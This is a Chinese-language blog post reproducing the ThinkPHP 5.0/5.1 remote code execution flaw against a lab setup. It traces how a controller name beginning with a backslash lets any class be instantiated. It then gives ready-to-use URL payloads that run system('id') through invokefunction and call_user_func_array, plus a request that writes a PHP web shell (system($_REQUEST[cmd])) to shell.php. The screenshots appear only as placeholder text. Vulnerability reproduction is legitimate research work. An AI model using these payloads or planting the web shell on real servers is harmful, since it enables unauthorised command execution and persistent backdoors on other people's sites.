THINKPHP5 getshell

最新推荐文章于 2024-08-14 10:23:53 发布

caiqiiqi

最新推荐文章于 2024-08-14 10:23:53 发布

阅读量7.9k

点赞数 3

分类专栏： Web

本文链接：https://blog.csdn.net/caiqiiqi/article/details/84958773

版权

Web 专栏收录该内容

220 篇文章 7 订阅

订阅专栏

复现环境

以别人搭建好的5.1.29环境：
https://github.com/vulnspy/thinkphp-5.1.29

代码追踪

index.php

在这里插入图片描述

Container::get(‘app’)

在这里插入图片描述

最终调用invokeReflectMethod()，指定对应类的对应方法，传入对应参数。
在这里插入图片描述

关键

parseModuleAndClass方法中，当$name以反斜线"\"开始时直接将其作为类名。利用命名空间的特点，如果可以控制此处的$name（即路由中的controller部分），那么就可以实例化任何一个类。

在这里插入图片描述
比如这个paylaod：

s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

就表示执行think\appr类（即thinkphp\library\think\app.php）文件的invokefunction方法，而这个方法的声明为：

invokeFunction(function, vars[])

即执行call_user_func_array("system", ['id'])
参考：http://php.net/manual/en/function.call-user-func-array.php
命令行执行结果如下：
在这里插入图片描述
通过web执行结果如下：

5.0.20和5.1.29通用payload:

index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

写入webshell

找到thinkphp\library\think\template\driver\file.php文件，的write方法，需要传入两个参数：cacheFile, content。即文件名和文件内容，即可执行对应类的对应函数，写入任意内容。

http://192.168.170.148/thinkphp-5.1.29/public/index.php?s=/index/\think\template\driver\file/write?cacheFile=shell.php&content=%3C?php%20system($_REQUEST[cmd]);%20?%3E&XDEBUG_SESSION_START=PHPSTORM

在这里插入图片描述